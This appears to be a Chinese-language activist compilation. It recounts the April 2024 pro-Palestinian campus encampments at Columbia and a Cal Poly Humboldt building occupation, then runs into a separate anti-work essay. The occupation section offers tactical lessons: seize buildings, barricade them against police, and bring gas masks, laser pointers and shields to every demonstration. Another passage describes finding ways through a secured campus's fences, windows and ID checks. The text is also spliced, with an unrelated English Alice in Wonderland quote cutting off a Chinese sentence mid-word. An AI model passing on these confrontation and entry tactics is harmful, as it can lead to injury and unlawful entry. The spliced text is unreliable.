这感觉就像我们集体穿过了一扇门，进入了未知的世界。有些东西很大，大得超乎我们的想象。大学认为它可以摧毁我们的反抗精神，粉碎我们声援巴勒斯坦人的实验。但今天的情况无可否认地表明：这仅仅是一个开始。4月18日晚上的营地。

- 📌更多技巧《如何才能让一个革命战略持续存活下去：行动主义（5）》

附录： 外面的世界

「图」

大多数人都没有机会进入哥伦比亚大学或巴纳德学院这样的著名学府。为了强调非学生在声援巴勒斯坦人和反对大学管理的斗争中的重要性，我们提供了这样一个人的视角。

周五傍晚6点左右，我抵达哥伦比亚大学。一整天，我都在收听哥伦比亚大学校园广播电台WKCR的现场报道。每隔几分钟，记者们就会宣布哪些地铁站设置了路障，哪些地铁站开放，以及蜿蜒的关于街头示威地点和草坪营地的公告。源源不断的信息穿过我的身体让我精力充沛。我必须赶到上城区。我找了一个朋友和我一起去。

当我走近校园时，情况变得明朗起来。校门正对着几个地铁站。纽约警察可能还记得2019年的反加价抗议活动，抗议者在活动期间占领了地铁；他们甚至可能知道智利学生的同年起义。数十名纽约警察聚集在校园大门外，其中一些人还穿着防暴装备，旁边的“抗议围栏”聚集了约200名示威者。大多数示威者似乎都不是学生，主要是年轻人，而大约十名学生在人群上方约一层楼高的墙壁上挥舞着一面巨大的巴勒斯坦国旗。

📌 他们从象牙塔下伸出手，尽力将抗议活动从内到外联系起来。

- 智利的行动反思《除非运动，其他任何方式赢得收益都是危险的：一个典型教训给中国社会参考》

两者之间的差距是巨大的。我听说学生只能进入校园，但我不知道哥伦比亚大学本质上是一座堡垒。就像校外用栅栏围起来的抗议区那样，校园本身已经变成了一个被警察包围的半批准制的抗议区。当然，这也是学生们坚决反抗的结果，他们的抗议阻碍了校园的日常运作。

要进入校园，学生们必须通过严格控制的入口，入口处有哥伦比亚大学校园保安、联合环球公司（Allied Universal）雇佣的保安以及纽约市警察局的警察把守。我亲眼看到警察将一群背着睡袋和帐篷的学生拒之门外。我们从里面听到一个传言，说如果学生不搭帐篷，管理部门就不会让纽约警察来扫荡。“纽约警察讨厌帐篷”。他们对“占领”

运动印象深刻。

主校区横跨几个街区，所有其他大门都被铁链和自行车锁锁住了。一楼的窗户很少，许多窗户都被防盗铁栅栏覆盖着。但这并没有阻止数十组人在附近徘徊。一些人与校园内的朋友通电话，从没有把手的门缝中窥视，描述他们在里面看到的情况，迫切希望里面的人能找到方法把门打开。其他人则守候在无人看守的门外，或指向天桥、窗户、围墙。随着时间的流逝，这些人中的许多都消失了。之后我开始看到栅栏上有洞，打开的窗户离地面很近，有人可以爬上去。还有一些人对守卫甜言蜜语，趁机扫描借来的身份证件，四处打听可能的入口位置。虽然我们眼前的安全细节越来越多，但事实证明即便是堡垒我们也可能渗透进去。

让我们来谈谈学生和非学生之间的区别，这对大学管理部门和纽约警察局来说非常重要。周四，校方以 “非法闯入”为由让学生停学并出动警察逮捕他们：实际上，他们把 “抗议者” 等同于 “非学生”。但这种镇压抗议活动的企图没有得逞；生存的威胁只会催化更多的学生团结起来。📌 在镇压中成长是一个重要的标志—— 一个运动不会退缩的有力指标。

受挫后，行政部门和警方转而容忍抗议活动，只要没有帐篷和外来人员就行。由于未能清除学生群体中的抗议者，并且意外地模糊了学生与非学生之间的界限，导致人们反对他们，因此他们试图从相反的方向强加这种分化，从而重建这种分化，并使其合法化。这就是纽约警察局驻扎在地铁和大学门外的原因：防止“非学生” 涌入。

哥伦比亚大学的营地在驱逐行动中幸存下来，已成为声援巴勒斯坦运动勇气和决心的象征。只要它坚持下去，就会能激励全国各地的示威者也对自己有更高的要求。正如我们在以往的运动中所看到的那样，📌 运动持续下去的唯一途径就是发展壮大自身。

占领西草坪的运动有三种发展方式。首先，它可以继续吸引更多的哥伦比亚学生参与进来。第二，运动可以扩展到其他大学；包括耶鲁在内的更多大学的学生已经在组织自己的占领活动。第三，也是最重要的一点就是，📌 它可以超越学术界与社会其他领域的界限而发展壮大。

纽约市已经出现了一些反对加沙种族灭绝的最有力、最持久和最复杂的抗议活动，其中大部分并非由学生组织。在哥伦比亚大学以前的校园运动中，如1968年的大楼占领运动，正是 “非学生” 在其中扮演了至关重要的角色。

正因为如此，校内与校外的区别才是最重要的界限。只要学生与非学生、被接纳者与被排斥者之间仍存在严格的界限，那些希望采取抗议行动的人就必须在以下两种情况中做出选择：一种情况是，任何行动都会被视为具有社会合法性，但必须由受到高度监视的学生来实施，那些很可能缩手缩脚的人；另种情况是，在围墙外的空间里，可以采取更多形式的行动，但在感知的合法性和破坏力方面威胁较小。解决方案就是：拆除围墙。

德克萨斯大学奥斯汀分校的学生已经走上草坪—— 4 月 24 日，德克萨斯大学奥斯汀分校的学生、教职员工和社区成员聚集在校园内，举行示威游行，抗议大学管理部门在加沙正在进行的种族灭绝中的共谋行为。由于担心哥伦比亚大学和全国其他地方发生的学潮会重演，校园当局调动了大量的警察进行维稳。尽管发生了逮捕和暴力事件，但示威者最终还是战胜了警察。

来自加州理工大学洪堡分校占领区的报告

「图」

4月22日星期一，45名学生、校友和社区成员占领了位于加利福尼亚州最北端海岸的加州理工学院洪堡分校的西门子大厅，声援那些在加沙面临种族灭绝的人们。

一小时内，校警试图与占领者进行谈判，但他们坚守阵地，拒绝离开大楼。不久，全城各部门的警察就都来了，还包括一架直升机、K-9特种部队（就是警犬部队）和休班警察。学生们蜂拥而至。

警察最初的大规模逮捕计划因大楼内外的一系列冲突而受挫。占领者们击退了警察的进攻，尽管他们所面临的暴行是我们在洪堡过去十年的斗争中前所未见的。值得注意的是，警察使用警棍和盾牌作为武器残暴地对待抗议者；在警察手中，任何工具都是武器。西门子大厅周围的路障。

警察逮捕了两个人，揪着他们的头发把他们拖出了大楼；警方还造成另一人多处颅骨撕裂伤，不得不去医院就诊并缝了几针。还有许多人头部受伤，至少一人脑震荡。

冲突期间，警察驾驶一辆大学卡车冲入人群，将抗议者推向暴动的边缘。尽管如此残暴，但越来越明显的是，面对学生占领者的勇猛和智慧，警方完全没有做好准备。警察被击退出西门子大厅，人们使用大楼内的物品，包括椅子、桌子、垃圾桶和被卸下铰链的门，搭建起巨

大的路障。

警察包围了被占领的大楼，大批学生、教师和其他社区成员将警方团团围住，高呼“离开，缓和局势！”和“人民的力量，我们更强大！”等口号！

经过六个小时的对峙，警察收拾东西回家了。数百名学生冲进大楼，欢快地拥抱占领者。警察强加的分裂瓦解了，我们占据了上风。大学宣布封锁三天。对我们来说，这仅仅是个开始。

（视频显示警察于 2024 年 4 月 22 日晚从加州理工洪堡校区撤出。）

本公报来自占领区内部。我们想传递一些经验教训。

1. 走出大院，走进楼宇。

很明显，为了使这场危机进一步发展，学生占领活动应尽可能地进入建筑物。警方的第一个行动就是指示占领者转移到院子里。📌 他们的这一举动表明，占领上课和管理人员办公的地方，我们才能发挥最大的力量。此外，校园里的建筑物到处都是修建路障和保护占领活动所需的一切物品。

2. 只要你撑起一小片天，人们就会跟上来。

占领西门子大厅只需要一小部分学生。不要害怕坚守阵地。这场运动是强大的。看似凭空出现的成百上千的人会来支持你。重要的是，📌 外面的人群能够通过分散警察的注意力来阻碍警力。警察发现自己被包围了，完全不知道该向哪里求助。有人架起了烧烤架，免费提供热狗，为人群加油助威。

3. 支持巴勒斯坦的运动必须是一场反警察运动。

每走一步，警察都会毫不犹豫地残暴对待那些呼吁结束巴勒斯坦种族灭绝的人。在加沙，巴勒斯坦人面对的是以色列军队；在美国，我们面对的是警察。我们必须认识到，这些部队是同一支部队：他们都是帝国的走卒。

4. 组织者应该首先学会倾听行动者的声音。

我们不需要等待专业活动家的许可来确定斗争的条件。学生占领者在没有任何成熟组织的支持下，果断地占领了大楼。我们发现自己拥有

开展行动所需的技能、经验和创造力。学生组织通常建议从一系列可实现的要求开始，与管理人员进行无休止的谈判，而我们的占领行动在六个小时里只提出了一个要求：让警察离开校园。

5. 做好准备。

我们的城市有些昏昏欲睡。我们低估了将面临的警察镇压的规模。乔治弗洛伊德起义已经过去四年了，我们应该吸取那场起义的教训。📌最好随时带上护目镜、防毒面具、激光笔和盾牌参加所有示威活动。你永远不知道一次偶然的露营会变成什么样子。

（以下是2019年出现的来自智利的战术教学视频；和对付催泪瓦斯的教学视频）

「图」

弹出此视频

同屏多任务，在您做其他事的同时播放此视频。

「图」

弹出此视频

同屏多任务，在您做其他事的同时播放此视频。

「图」

弹出此视频

同屏多任务，在您做其他事的同时播放此视频。

「图」

更多资源：

「图」

https://cdn.crimethinc.com/assets/articles/2024/04/23/lessons-on-taking-the-school_print_black_and_white.pdf

□

Report from within the Cal Poly Humboldt Building Occupation

“It Is an Honor to Be Suspended for Palestine”

原文

反工作运动：从"我不干了" 到 "我们起义" -- 二十一世纪的劳工抗争 - iyouport

反抗者-寻求经验

一场真正的反工作运动必须意味着超越 "大辞职"，直接从统治阶级手中夺回我们建立稳定和安全的生活所需的资源。

【按】中国的躺平和大裁员、美国的大辞职、韩国的大罢工等等，几乎同步发生，您是否想过这其中的道理？

鉴于近期中国出版了 David Graeber 四年前的作品《狗屁工作》的中文版，应读者邀请我们制作了这篇文章。（您可以在这里下载格雷柏的全套著名作品）

Thanks for reading iyouport! Subscribe for free to receive new posts and support my work.

Suscribirse

但我们必须说，格雷柏只是无政府主义的入门阶段；并且《狗屁工作》这本书对变革的作用力很小。

尤其是，面对席卷全球的 “内卷”（在职贫困）、传统工运失败、用后即弃、过劳死和自杀、大裁员风潮、工人阶级的消亡、鱿鱼游戏的世界、疯狂的采掘主义和气候危机、大规模监控的泛滥、法西斯主义和野蛮暴力的盛行、赢家通吃和无尽的倦怠 …… 旧的反抗策略已经远远不够，甚至不再起作用。

想要复制前人的经验那种冲动可以理解，但是不要忘了，正是那些曾经的模式的失败导致了我们今天不得不承受的结果。

我们正面对着新的形势，我们需要新的策略。

反统治解放斗争的成功可能性始终取决于您的想象力和创造力 ——

这正是为什么我们去年底的年终礼选择了 “好奇心” 这一主题。

在2021年秋季，一些有关

新冠疫情两年的大流行改变了美国的劳工景观。 在1.53亿的劳动力中，2021年有超过四分之一的工人辞职，这一趋势持续到2022年。 到**2021**年底，被愤怒和绝望所推动的反对工作的情绪广泛蔓延，并经由著名的 **reddit** 页面所放大，而经济学家们同时却在谈论所谓的 “劳动力短缺”。

人们或许会以为如此形势对劳工组织来说千载难逢。尽管期望很高，但真正的罢工浪潮尚未出现。 突破性的，是第一个亚马逊工会的成立，激发了人们对美国劳工运动前景的乐观情绪，但是重回工会鼎盛时期的道路还很漫长。劳工反抗真正形成的那一天，可能意味著完全不同的形式，如 “大辞职” (the great resignation) 所预言的。

“反对工作” 究竟意味著什么？ 我们应该如何在其历史背景下理解当今的反工作情感？ 在工作场所的抵抗如何随工作本身而改变，以及在这些新形势下哪些策略更有效？

- 如果您错过了《工作，是个什么东西》

I. 工作和反工作

「图」

在一个迫使每个人必须工作的系统中，一个人憎恨工作和必须工作是一回事；而将劳动带离这个系统并投入到创造一个没有人必须被迫工作的新世界中，则是另一回事。

当我们谈论工作的时候，无论是对自己还是他人，事实上指的都是那些以赚钱为唯一驱动的所有活动。 以这种方式定义工作是很重要的，因为我们不仅在谈论工资劳动，还要谈论奴隶劳动、监狱劳动、没有报酬的家务劳动、实习、以及各种各样的自我雇佣和推销工作，后者和在雇主下的工作异化并没有什么区别。

- 如果您错过《剥削压迫、血汗工厂、强迫劳动、生态破坏 …… 高科技背后的现代奴隶制》

在这个社会中，几乎所有权力都是根据赚钱的驱动来分配的。而且由于利润的本质是向很少的 “手” 集中最多的财富，我们社会中的贫富

分化如此之快就不足为奇了。是的，即使“生活水平”已经无可争议地提高了，假设我们不考虑这种提高对生物圈和子孙后代的严重影响的话，在富人与穷人之间却有一条前所未有的巨大鸿沟。

当我们说反工作的时候，并不是从抽象的政治立场上不赞成工作。我们谈的是一种取消工作必要性的积极做法，即：反物质主义、消灭物质主义的方式。换句话说，这是一种利用所有机制、集中力量消除从债务到知识产权和“监狱工业综合体”的所有活动。所有这些都迫使我们所有人整日整年地埋头苦干，即使我们还有许多其他更重要的事要做。

> 就像这样一个世纪 接着另一个世纪的工作 —— 将由我们这些物种与无数其他物种一起完成。

1. 夺走我们生活的市场

「图」

是社会秩序，在强迫你把时间和劳动卖给出价最高的人，这个过程同时却在浪费你的潜力，就像它把奶牛碾碎成汉堡、把热带雨林变成垃圾小广告一样。 你有理由拒绝浪费你生命中的宝贵时刻，而不是为了老板和投资人的腰包。

从地球的维度，这一切问题被叫做资本主义。 从个人的维度，它的名字叫工作。 你个人反抗工作的斗争，就是我们整个物种为逃避全球的资本主义循环而斗争的缩影。资本主义所推动的全球循环将我们推向压迫、战争和生态灾难。

然而，实际上在整个政治光谱内，人们都在为工作唱赞歌，理所当然地认为“生产力”本身是好的，抛开那些背后的驱动力、控制者、以及各种衍生问题。 总有人惦记着你的“生产力”。

如果这一切还不是很明显，那么新冠疫情就再清楚不过地表明，市场会为了极少数人的利润而牺牲大多数人们的生命。 通常，在过去几十年里，这种牺牲只是零星发生，虽然工作场所的危险有时会加速这一过程；但在新冠时代，数百万人失去了生命，幸存者还被迫继续工作，直到感染病毒并死亡。

- 如果您错过了《口罩的政治》

有人将此后的辞职浪潮归因于特朗普和拜登在疫情期间对劳工阶级做

出的些微优惠，但这很难解释：无数工人在工厂损失的收入比他们从政府那里得到的补助多得多。 相反，这场瘟疫似乎正在让几百万人诘问自己，他们是否真的希望为了经济利益而牺牲自己的生命 —— 太多人的结论倾向于这是不值得的，无论这些牺牲是被批发的还是零售的。

辞职也许算是一种劳工抵抗的形式，就像罢工一样。 作为社会变革的出发点，对工作的仇恨至少和对更高工资的渴望一样有希望。 与其简单地以劳资谈判来争取更好的条件、换得我们牺牲自己的时间和我们所牺牲的个人发展，或者只是从一份工作换到另一份工作、避开结构性问题而满足于过渡性方案，倒不如完全恢复我们的生活。

> 我们对纪律、诱惑、剥削和工作的抵制有多种形式，从停止工作到做白工。 [这些] 抵抗是针对政府、管理层、计划者、媒体、战争、权威、监视、代表和主流价值观的。

2. 反对工作简史

「图」

> “为他人工作的人，无论是为报酬，还是支付租金，都是不义的，将被诅咒； 他们只想共同劳动、一起吃饭，使大地变成共同的财富……从束缚中提升创造，从诅咒中恢复万物。”

反对工作并不新鲜。 自从统治阶级开始强行将人民与我们赖以生存的大地分开，人们就一直在抵制工作和强迫劳动的制度。想象一下那些追随 “反对工作” 政治的普通人，大概很容易联想到一个 1970 年代的辍学生、一个 1980 年代的朋克摇滚乐手、一个 1990 年代的办公室白领，或者一个挣扎着参加 Zoom 线上会议的妈妈，而她蹒跚学步的孩子正在客厅里乱扔垃圾。

但如果只是这些刻板印象，那就太狭隘了。 反对工作是面向每一个人的，一直都是。

从一开始，对工作的反对就与工作本身一起出现。 在《懒惰的权利》中，保罗·拉法格引用希罗多德，将反对工作的历史一直追溯到古埃及、色雷斯和波斯。后来，从 14 到17 世纪，从自由精神到咆哮者、挖掘者等等许多运动，都加入了针对圈地运动和强迫工作的抵制运动。

> “劳动力的解放”—— 即从

19 世纪初以破坏工业机械而闻名的卢德分子虽然凶悍，也不过是整个反对工作运动当中一个晚近的回响。

在欧洲人民抵制向以现代劳动为基础的经济转型的同时，在所谓的新大陆上也发生了反对奴隶制、反对流离失所和其他形式的殖民暴力的激烈斗争。 我们应该将针对奴隶制的反抗和针对强加于土著的殖民主义的反抗斗争，理解为反对工作的斗争。这些斗争的规模远大于欧洲内部的抵抗。

这些斗争并没有随着奴隶制的废除和殖民化最初阶段的结束而结束：

> “经验表明，相比动产奴隶制，工资奴隶制的损耗只是稍微少一点而已，这种工资奴隶制和动产奴隶制一样都必须废除。”

在 19 世纪劳工运动的高峰期，工人们试图夺回对劳动力本身的控制权，并改造这个限制他们劳动选择的社会。在 20 世纪，劳工运动被引导到劳资谈判上，有关如何确定劳动力价格和工作条件。在工会官僚接管工会并将其重新定位于稳定资本主义经济而不是摧毁它的同时，普通工人开始接受更高的工资，也有机会得到更多消费品，以换取他们放弃在工作场所的自决权。在美国，这与以亨利·福特命名的福特主义有关 —— 尽管同样的事情也发生在苏联，后来又发生在整个苏-东集团和中国，国家更直接地介入这种谈判。

而当劳工运动逐渐平息，资本全球化使企业能够在海外以外包的方式继续瓦解劳工运动。

- 推荐《新疆集中营是一个全球性问题》
- 如果您错过了《条条大路通北京》

这就是我们今天所面临的。从日渐萎缩的中产阶级身上，资本家已经尽其所能榨取了绝大部分利润。食利阶层不仅通过信贷和债务殖民了未来，还转向投机 —— 投身加密货币和 **NFT** 的风潮。技术进步继续消弱了工业生产对劳动力的依赖，剩余劳动力只能充斥着服务业，并造成了越来越多的流民，轻易被劳动市场用后即弃。

今天的经济貌似为工人提供了更多的 “自主权”，但这仅仅意味着工人们必须不断地自行调整那些劳动条款，以便适应越来越快的经济变化，以便更好地向资本推销他们自己。今天，除了最高法院的法官

外，几乎没有人会接受一份终身的工作。

而且，从负债累累的贫困人口中攫取利润已经越来越困难。这个过程的终点将是战争 —— 这个世界，绝望的民众遭受着镇压，国家通过野蛮的暴力而不是经济竞争来汲取资源。在叙利亚和乌克兰，我们都可以瞥见那令人不安的未来。

在这种情形下，试图回到依赖工会的工资谈判来稳定资本主义经济的时代是幼稚的，那个时代的谈判是为争取足够高的工资，好让工人有能力至少回购一部分他们自己的劳动产品。稳定也是不可能的——无论是对于个别家庭还是对整个全球秩序来说。我们应该将 **2020–2022** 年发生的大规模辞职理解为激发乔治·弗洛伊德起义一样的不安和愤怒的产物。

正如现代资本主义的初期，人们是不得不成为工人阶级—— 许多人宁愿作闲人、罪犯或者革命者 —— 而现在，我们正在抵达资本主义的终点，当它越来越清晰地显露其灾难性的结局时，反对工作就又一次回到议程上。

> 这场社会斗争最明显的层面就是普遍的劳动抵制，经济学家称之为 “大辞职”。仅在 2021 年就有超过 3000 万美国人辞职。 但这样的 “大抵制”，也可以从传统劳工行动和组织的大量增加中得到印证，也包括那些明显与运动背景分离的骚乱如大规模抢劫事件中，在学校评分和测试制度的崩溃中，在互助运动的扩大，在疫情中明显可见的痛苦、并被日常生活所强化的日益广泛的

“In our country,” said Alice, still panting a little, “you’d generally get to somewhere else—if you run very fast for a long time, as we’ve been doing.” “A slow sort of country!” said the Queen. “Now, here, you see, it takes all the running you can do, to keep in the same place. If you want to get somewhere else, you must run at least twice as fast as that!”

3. 世界范围内对工作的反对

「图」

除非我们将监狱罢工、工作场所盗窃、抢劫和其他对资本主义消费模式的拒绝形式、以及世界各地发生的各种形式的抵抗都考虑在内，否

则我们将无法理解当代反对工作斗争的范围和规模。随着传统劳工运动趋于平缓或消退，我们需要对当前工人的维权策略保持敏感性，才能确保我们不会在刻舟求剑，低头寻找过时的斗争形式却错过了眼皮底下正在发生的抵抗。

近年来，一些老派的产业工会（劳工策略）的支持者将注意力转移到了印度、孟加拉国和中国 —— 他们认为，只要我们在其他大陆寻找这种传统工会模式，它仍将有助于组织产业无产阶级。然而，在按照新自由主义原则和白人至上主义的逻辑所构建的全球化经济中，全球南方的工人阶级是无法仅仅通过组建工会、争取权利和工资谈判来重现欧洲工人阶级的历史道路的。欧洲和美国工会工人当年融入中产阶级的机制已经不复存在 —— 那是劳资双方一个非正式和约的结果，即 资本主义将与白人工人阶级的斗争转化为改革主义，而所有这些初始财富都来自世界的南方。

大多数印度工人仍然从事非正式或不稳定的工作。许多工厂搬到孟加拉这样的地方，只是因为资本家可以把这些工人当作一次性的消耗品，常有数以千计的工人死于厂房倒塌。在中国，一个自称“共产党”的政府一直专注于压制劳工，同时为亿万富翁创造条件，以与美国类似的方式积累财富。

- 如果您错过了《为什么工人不反抗？》

有一种观点，以某种教条的历史进程为假设，认为新工业化国家的劳工运动 “总是落后于” 欧洲和美国的劳工运动，但这是错误的。大多数情况下，这些新兴运动要比美国的劳工运动强大得多，但也面临更艰难的挑战。且随着全球范围的劳工不稳定-流民化，美国工人应该从不稳定的南方世界的斗争和策略中学习。毕竟，印度工人的地位并没有向着美、欧工人享有的待遇层次 “提升”，而美国工人的条件却正朝着印度工人的境遇缓慢恶化。

这种背景下，任何反工作运动都会从更全球化的视角中获益。事实上，海外长期存在着反工作的潮流。 1997 年在印度出现的如同宣言一般的 “反工作民谣” (A Ballad Against Work) 提供了对抵抗的复杂分析，包含了多个行业的参考点，人们还可以在印度找到更多现代反工作的抵抗例子。在俄罗斯，一个名为 antijob.net 的反工作 reddit 页面已经运行了整整 20 年，并取得了相当大的成功。在中国，幻想破灭的年轻人无视经济压力，开始拥抱一个名为 “躺平” 的运动。

- 如果您错过了《“内卷”、躺平、政治、经济、工人阶级和民族主义：全方位看中国》

如果我们真的想废除工作，而不仅仅是为了展现我们的特权而逃避工作、起码坚持到难以为继，就必须与世界上其他同样讨厌工作的人联合起来加入这项共同事业。 随着乌克兰战争的进行和与中国的另一场冷战迫在眉睫，我们对剥削的共同仇恨为所有工人提供了一个出发点，让全世界团结起来、共同反对那些分裂和统治我们的人。 这可能确实是我们唯一的希望。

https://t.me/iyouport/10352

II. 为 21 世纪的抵抗制定战略

「图」

还需要什么，反工作运动才能变成对劳动参与的实质威胁，而不至于沦为工作减压阀？ 为此，我们征求了美国各地工人的意见，进行了一次实地分析。

案例研究1：“劳工短缺” 的明信片

「图」

> “自新冠疫情开始以来，约有 500 万美国人退出了劳动力市场。高盛估计，大约 340 万人可能永久性退出了。”

首先，我们与处于锈带区几个中型城市的餐饮业员工做了交谈。

「直到最近，我工作的这家餐厅依然很难配齐人员，因为人手短缺。在大流行期间，很多人离开了服务业，因为疫情期间的工作条件很糟、很危险。此外，从事这项工作的通常是女性，许多女性在疫情期间不得不停工回家以便照顾她们的家人。因为学校和儿童保育都不再那么让人放心，瘟疫也造成许多老人面临孤立无助、更加虚弱、死亡率畸高。」

「至少在我住的地方，毒品泛滥已经造成恶果。在某些行业，如果想要找到一个不沉迷于阿片类药物或酒精的工人，简直是太难了。所以当人们说 “劳动力短缺” 的同时，由于贫困和绝望，一部分工人阶级正在失业。

反叛也在这里发挥作用。一个人长期失业后，就很难忍受雇主对员工有任何的不尊重表现。我们的社会缺失一个体制，可以让 “野化” 的

成人重新融入工作场所。我认为对受到不尊重对待的正当愤怒、再加上到处都是“招工”的标志，可以解释过去一年来为什么那么多“愤怒的”辞职。

以前，如果你愤怒地辞职，当你申请下一份工作时，你就必须解释此前为什么辞职。我记得有一次，当我从失业大军回到就业市场时，一位雇主看了我的简历并告诉我，“当我看到这样的工作中断时，还以为是你是因为进了监狱或者（戒酒）康复”。相比之下，如果你现在辞职，你可以告诉你的下一个潜在雇主，你只是在疫情封城后重新回到就业市场。诸如此类的事情对宏观经济学家来说是看不见的，但它们对当地工人有很大的影响。」

「许多我最喜欢的餐馆和附近的漫画店都因为人手不足而缩短了营业时间。 这里的 Targets 和 Sheetz 商店的每小时工资比以前多了几美元，而且大多数商店的橱窗里都有招工标志。 但我认为与其说是“劳动力短缺”不如说是廉价劳动力短缺。 镇上有一家冰淇淋店承诺提供一份每小时 **15** 美元的全职工作，然后收到了数百份申请。

造成这种状况的一个原因，可能是亚马逊在 2020 年的扩张，亚马逊以每小时 15 美元的价格雇佣了大量的仓库工人。 对这种很容易受伤的仓库工作来说，这只是最低的工资，但对于以前从事服务业的人来说，却是一个巨大的诱惑。 仓库工作应该每小时至少支付 25 美元，但如果需要你在麦当劳的每小时 8 美元和亚马逊的两倍工资之间选择，那将没有悬念。 然而众所周知，亚马逊工人的倦怠率非常高。」

看看亚马逊模式，我们可以将 2021 年到 22 年的“劳动力短缺”部分归因于经济和工人期望的中断，因为资本主义正在试验强化绝对剩余价值（每劳动小时利润）的榨取，而不仅仅满足于支付最低工资。亨利福特在一个世纪前已经做过类似的事。为了说服工人们从事近乎灵魂自杀的流水线劳动，而不是传统的熟练手工，他被迫加薪；结果，他简化了大规模生产流程，并为他的商品创造了一个新市场。

- 如果您错过了《苹果卖的究竟是什么？这个时代最关键的不是技术，而是心理学》

如果当年福特将生产过程合理化 —— 通过提高对工人的需求和淘汰以前必不可少的人员来提高生产效率 —— 那么今天，我们在分销过程中看到的就是同样的事。资本家已经转向“及时”生产，类似的事情正在经济的消费端发生：也就是 **Netflix** 而不是电影院，是送货司机或者外卖骑手而不是购物中心。自动驾驶汽车等等**AI**技术的引入可以极大地加速这一进程。

如果像亚马逊这样的雇主提高工资，但这些工作却伴随着不同工作场所的流动率的增加，那么最终结果将不会使工人阶级受益。与福特时代我们的祖父母所得到的工作保障不同，我们如今只会在对雇主来说最有利的需求曲线区间得到工作，而我们中的许多人将继续失业。这种情况下，不认同自己的工作—— 一旦厌倦了就辞职 —— 将是多余的，那不过是企业保持效率的一种方式。一场真正的反工作运动必须意味着超越 “大辞职”，直接从统治阶级手中夺回我们建立稳定和安全的生活所需的资源。

案例研究2：2021 年从未发生的 IATSE 罢工

「图」

2021 年 10 月 18 日，大约 60,000 名娱乐业工人准备举行罢工。他们将是参加被某些人乐观地称为 “Striketober” 罢工行动的人数最多的群体。 然而在最后一刻，国际戏剧舞台员工联盟（IATSE）与好莱坞制片人达成了初步协议，避免了那场罢工。 尽管如此，此前所发生的一切依然可以告诉我们许多关于这个时代的劳工斗争的事实。

「2021 年 10 月，我正在制作一部大预算的电视节目，当时关于 IATSE（国际舞台员工联盟）可能在全国范围内举行罢工的传言已经蔓延开来。随着新闻媒体对劳动力短缺的报道，全国各地的工人正处于比以往更好的讨价还价地位。然而，罢工从没有发生。

我从其他行业听到过类似的故事。为什么工人们不能利用这种情况？我们姑且回到它的本来面目，也就是一个轶事，而非深入调查。

电影是一个出了名的混乱和苛刻的行业。在册的从业者很少能够接受符合美国标准的工作条件，例如14 小时、16 小时甚至 20 小时的轮班；通话时间间隔六小时；工作日不休息；每周工作 80 小时或以上；连续几个月没有一天休息。人们有时会在片场因精疲力竭而直接猝死，或因休息不足而酿成事故，甚或被不暗枪支的一线名星意外射杀。

电影从业者之所以忍受这些条件，因为对他们来说这是给予演艺工会会员的高工资。人们很难拒绝周日的双倍工资，特别是，如果拒绝它就意味着失去电影制作中的位置。如果你能加入工会，电影工作是一个难得的机会，可以让你在即使没有大学学位的情况下也能赚取六位数收入。

IATSE 代表超过美国和加拿大的 150,000 名从业者。工作条件因不同

的制片流程而差异很大。当 Netflix 等流媒体服务在 2000 年后起步时，与传统电影制作相关的高工资和较合理的时间安排并没有被转移到 “新媒体” 制作流程中。制片人争辩说，他们正在赌博一种新形式，不确定最终会带来多大的利润，因此他们不得不限制预算 —— 当然，这是从人工开始的。十多年后，尽管 “新媒体” 影视制作已经证明是非常有利可图的，可劳动报酬和条件的差异仍然存在。

随着制作的蓬勃发展和求大于供的工作岗位，2021 年秋季成为 IATSE 推动与流媒体服务达成更好协议的最佳时机。这差点促成了一场涉及 60,000 名电影工作者的历史性罢工。 IATSE 之外的许多激进分子对这可能引发一波罢工潮和其他行动的可能性感到兴奋。

然而 —— 正如一次又一次发生的那样—— 制片商和工会官僚躲过了罢工，他们在最后一刻达成了协议。不奇怪的是，许多普通 **IATSE** 成员对这笔交易并不满意。它对改善工作条件的作用微乎其微。

我的同事对此事的态度各不相同。罢工意味着暂时失去工作和工资，没人想要那个；但许多 IATSE 的长期会员早已受够了多年不变的工作条件。当然，如果换做制片协会的话，他们自然会很乐意坚持。我没有看到我的同事对工会领导层有太多的同情。

如果发生罢工了会怎么样？当制作中断，制片公司会努力引进黑工—— 在洛杉矶和亚特兰大等电影中心很容易做到这点，但在其他地方则比较困难。我正在制作的剧集不属于主要的电影中心。这一行很专业，对制片人来说，并不容易找到那些不属于工会或者胆敢越过罢工纠察线的专业人员，如合格的布景木匠、美工师、化妆师和摄像师。他们最多可能拼凑出一个个草台班子勉强支撑。

事实证明，即使罢工被取消，电影生产也开始面临劳动力短缺的问题。新一波的新冠疫情爆发后每天都有许多人被迫回家隔离。其他员工则厌倦了整天地工作却没有出镜。还有一些人，非工会雇员得到的是按工会标准支付的工资，却没有必要的专业技能，往往工作几天后就被解雇。小时工资标准并不足以吸引人们从洛杉矶离开，甚至不足以吸引许多熟练的当地员工。请记住，所有这一切都是在美国各地劳动力短缺的情况下发生的。

所发生的这一切远没有罢工那么激烈，但相似之处在于，一些熟练的工会员工被专业水平较低的非工会员工所取代。我并不是说非工会员工是工贼 —— 而是，我的观点是，整个情况说明了工作场所的新自由主义化、劳动力以及当代劳工斗争的个体化，而且斗争手段不一定是有希望的。罢工，无论是否最终被工会批准，都将是我们集体行动

的机会，在斗争中发展我们的关系。但罢工没有发生，相反的，人们会一个又一个地选择离开，因为他们可以暂时辞职或在其他地方找到薪水更高的工作。尽管这些行动总体上确实对劳动市场的供求产生了影响，使雇主处于更紧张的境地，并为工人提供了更多的谈判筹码，但是，它们对于反对整个资本主义或坚定劳工自治并没有什么作用。」

简而言之，我们继续越来越多地个体化地面对经济，即使在有工会的工作场所也是如此。我并不是要美化像 IATSE 这样的主流工会：工会官僚机构总是罢工的主要障碍，这可能在大多数有工会的行业都是如此。只要我们要一起做些什么，就只能从草根中生发出来，而无视组织的领导权。这将需要一个新模式。

新的反工作情绪的可见性，提供了一个出发点，但它本身并不是一个解决方案。自大流行以来，资本主义始终充满活力，变化尤其迅速。不难想象今天的反工作情绪会随着明天的市场创新而重新出现，譬如针对那些未来更远程的工作、更多的剥削模式（例如，制作在线内容或将人们对连接的迫切需求货币化）、更有隐蔽性的新零工，自由职业等等。 我们需要搞清楚如何重新发明罢工，或其他形式的集体抵抗。

案例研究3：2021–2022 年哥伦比亚大学研究生罢工

「图」

据报道，2021 年 12 月，哥伦比亚大学 3000 名研究生工会的罢工是全美规模最大的罢工行动。这暗示了自 **20** 世纪工会运动的全盛时期过后，老式的群众工会大军已经消退到了何种程度。我们在 “2004–2022 年哥伦比亚研究生工会斗争” 中探讨了这次罢工的详尽历史及其影响。

